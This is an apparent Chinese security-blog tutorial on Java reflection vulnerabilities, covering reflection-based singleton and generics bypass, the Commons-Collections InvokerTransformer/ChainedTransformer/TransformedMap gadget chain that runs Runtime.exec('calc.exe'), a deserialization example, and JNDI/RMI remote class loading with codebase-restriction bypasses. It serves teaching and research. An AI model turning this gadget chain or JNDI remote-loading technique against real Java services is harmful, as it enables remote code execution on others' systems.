JAVA基础漏洞是如何自我修炼


这是 酒仙桥六号部队 的第 13 篇文章。

全文共计3096个字,预计阅读时长9分钟

练气期-反射篇


众所周知,气是修炼的基础即反射是java的其中的一个高级特性。正是因为反射的特性引出了后续的动态代理,AOP,RMI,EJB等功能及技术,在后续再来说下代理,RMI等及其漏洞原理吧,在之前先来看看反射所有的原理及漏洞,那么,在修炼初期应该注意什么问题呢?


俗话说万事开头难--什么是反射

JAVA反射机制是在运行状态中,对于任意一个类,都能够知道这个类的所有属性和方法;对于任意一个对象,都能够调用它的任意方法和属性;这种动态获取信息以及动态调用对象方法的功能称为java语言的反射机制。

在日常开发中,经常会遇到访问装载在JVM中类的信息,包括构造方法,成员变量,方法,或者访问一个私有变量,方法。


修炼进行时--反射方法

反射方法很多只列举部分重要的来说。

获取class的字节码对象

前面说到反射是对运行中的类进行查询和调用,所以首先我们需要获取运行类的对象,即字节码对象(可以看看JVM加载原理)。方式有三种来看看。

方式一:

Class.forName("类的字符串名称");

方式二:

简单类名加.class来获取其对应的Class对象;

方式三:

Object类中的getClass()方法的。

三种区别主要是调用者不同,以及静态和动态区别(java是依需求加载,对于暂时不用的可以不加载)。

获取构造函数

getConstructors()//获取所有公开的构造函数

getConstructor(参数类型)//获取单个公开的构造函数

getDeclaredConstructors()//获取所有构造函数

getDeclaredConstructor(参数类型)//获取一个所有的构造函数

获取名字

可以反射类名。

getName()//获取全名  例如:com.test.Demo

getSimpleName()//获取类名 例如:Demo

获取方法

getMethods()//获取所有公开的方法

获取字段

getFields()//获取所有的公开字段

getField(String name)//参数可以指定一个public字段

getDeclaredFields()//获取所有的字段

getDeclaredField(String name)//获取指定所有类型的字段

设置访问属性

默认为false,设置为true之后可以访问私有字段。

Field.setAccessible(true)//可访问

Field.setAccessible(false)//不可访问

以及Method类的invoke方法

invoke(Object obj, Object... args) //传递object对象及参数调用该对象对应的方法


打怪修炼—实战示例

来看一个简单的反射案例,可以执行运行计算器命令。

通过Class.forName获取字节码对象,调用getMethod获取到Runtime的getRuntime方法,用invoke执行方法,最后同样的执行exec方法执行calc命令。

说到这,大家都熟悉,那么具体的反射漏洞有哪些,我们来看看。


反射攻击

通过反射来突破单例模式

我们知道单例模式的特点就是单例类只能有一个实例,但是不好的代码就可以突破单例限制,比如:

运行结果:

私有的构造方法,类变量,可以看出代码实现了单例的要求,new的时候没有创建对象,就新建,有的话就返回这个对象,但是通过反射(反序列化也可以突破,这里只说反射)可以直接调用private方法创建实例。

运行结果:

所以我们要在构造方法的时候就要判断是不是已经创建过对象,如果有就主动抛出异常。

突破瓶颈---通过反射来突破泛型限制

我们知道泛型的特点就是明确规范参数使用的类型,但是不好的代码就可以突破单例限制。

就会抛出异常。

同样的我们可以通过反射:

结果如下。

这种我们就需要添加黑名单来禁止反射,当然也可以绕过。

利用反射链的序列化漏洞

以前我们经常能看见这种构造的序列化漏洞的文章。

先来看看部分实现代码:

Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer(
"getMethod",
new Class[] {String.class, Class[].class },
new Object[] {"getRuntime", new Class[0] }
),
new InvokerTransformer(
"invoke",
new Class[] {Object.class,Object[].class },
new Object[] {null, null }
),
new InvokerTransformer(
"exec",
new Class[] {String[].class },
new Object[] { commandstring }
//new Object[] { execArgs }
)
};

下面是InvokerTransformer类的transform方法的源码。

战后总结分析:


Object[] argss=new Object[]{"getRuntime",null};
Method mm=(Method)Runtime.class.getClass().getMethod("getMethod", new Class[]{String.class,Class[].class}).invoke(Runtime.class, argss);

相当于执行了:


Method mm=Runtime.class.getMethod("getRuntime", null);

---


Runtime rr=(Runtime) mm.getClass().getMethod("invoke", new Class[]
{Object.class,Object[].class}).invoke(mm,new Object[] {null,null} );

相当于执行了:

mm.invoke();

---
rr.getClass().getMethod("exec", new Class[] {String.class}).invoke(rr, "calc");

相当于执行了rr.exec("calc"); //rr已经是Runtime对象了,而不是Runtime类。

ConstantTransformer在初始化的时候放入里面的一个final变量中,transform(任意Object)都会返回那个变量。

利用jd-gui来看一下ChainedTransformer的源码。

image.png

image.png

那么就可以利用这一点,进行反射,反射代码如下:


Transformer[] transformer=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[] {null,null}),
new InvokerTransformer("exec", new Class[] {String.class}, newObject[] {"calc.exe"})
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformer);
chainedTransformer.transform(Object.class);

事实上,前面说了ConstantTransformer的特点,所有最后执行的Object.class可以为任何Object,比如null,new Object()。

这里进行调用了transform方法,如何才能不通过调用transform方法执行反射链呢?

我们就要找到实现本身实现tranform的方法。

经过查找发现:

AbstractInputCheckedMapDecorator类下:

image.png

TransformedMap类下:

image.png

image.png

所以我们要控制valueTransformer的值为ChainTransformer对象,找到这个值的赋值点。

image.png

image.png

所以我们要实现这个链环,就要满足基本条件,先


Map mp=new HashMap();
mp.put("ok", "notok"); //为什么赋值是因为要用到setValue
//这里decorate是静态方法,直接使用
Map dd=TransformedMap.decorate(mp, null, chainedTransformer);
//用过Entry来获取键值对,将Map通过entry放入Set集合,然后用迭代器迭代
Map.Entry entry=(Entry) dd.entrySet().iterator().next();
//更改其中的值,达到目标
entry.setValue("ok");
//这里绕过黑名单,利用已知类的反射链,获取反射的方法,最后反射可以利用序列化达到目的。


金丹期--反序列化篇

Java 的序列化是把 Java 的对象转换为jvm可以识别的字节序列的过程,方便于存在文件,jvm内存,网络的传输等。

常见的ObjectOutputStream类的 writeObject() 方法可以实现序列化的功能。而反序列化是指把字节序列重新恢复成 Java 对象,反序列化用ObjectInputStream 类的 readObject() 方法。


知己知彼之什么是序列化,反序列化


image.png

image.png

结果如下:

image.png

这就是序列化和反序列化的过程。


金丹实战--反序列化漏洞示例


image.png

实战结果

image.png

很显然在实现自己的readObject方法,反序列化后readObject正好被利用,触发恶意代码。反序列化利用的方式很多。


JNDI注入

已有多位前辈修炼至此境界,吾将在此吸取前人经验,不便在此过多停留。

JNDI漏洞原理:在lookup参数可控的情况下,我们传入Reference类型及其子类的对象,当远程调用类的时候默认首先会在rmi的服务器中的classpath中去查找,如果不存在对应的class,就会去提供的url地址去加载类。如果都加载不到的话就会失败。

元婴期实战演练!!!

JNDI这里我们先搭建一个Registry

Server:

image.png

Reference中写好自己的要执行payload的class对象名称,以及对应开启的web服务,然后绑定在registry中。

ExecTest:

image.png

这里写入自己payload,我用的静态块,方便执行。

image.png

用javac -source 1.5 -target 1.5 ExecTest.java编译成1.5jdk版本支持的ExecTest.class字节码文件,有一些警告信息提示1.5版本在未来版本被移除,忽略掉。

为了保证是真的成功,要把对应下的bin/ExecTest.class文件给删除掉,前面说了,JNDI会先加载本地的class文件,所以需要先删除对应的class文件,确保是真的远程加载。

我这里把编译的文件放入D盘,开启Web服务。

Client:

image.png

启动好Server,运行Client,可以看见如下:

image.png

远程加载ExecTest.class文;

image.png

成功执行命令。

但是看见要求必须是1.6以下的版本,后面的版本都对其进行限制,有限制就有绕过,对应的,默认不允许从远程的Codebase加载Reference工厂类,就可以添加如下代码,将

com.sun.jndi.rmi.object.trustURLCodebase;com.sun.jndi.cosnaming.object.trustURLCodebase两个属性值设置为true。

image.png

还有LDAP + JNDI请求LDAP地址来突破限制,利用LDAP反序列化执行本地Gadget来绕过等。

金丹期修炼时--序列化这里,java以rmi(java以rpc为基础的java技术)为根基来衍生更多,比如熟悉的EJB,为了使用其他语言,使用Web服务;实现与平台无关,又使用了SOAP协议。而Weblogic在RMI上的实现使用了T3协议等等。所以了解RMI,了解java基础漏洞的自我修炼,只有知己知彼,才能百战百胜。

修炼永无止尽,万物皆是如此,需屏气凝神方能比其更为强大,以至于交手时不落于下风。

本文作者:酒仙桥六号部队

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/138080.html

Tags:
评论  (0)
快来写下你的想法吧!

酒仙桥六号部队

文章数:45 积分: 720

安全问答社区

安全问答社区

脉搏官方公众号

脉搏公众号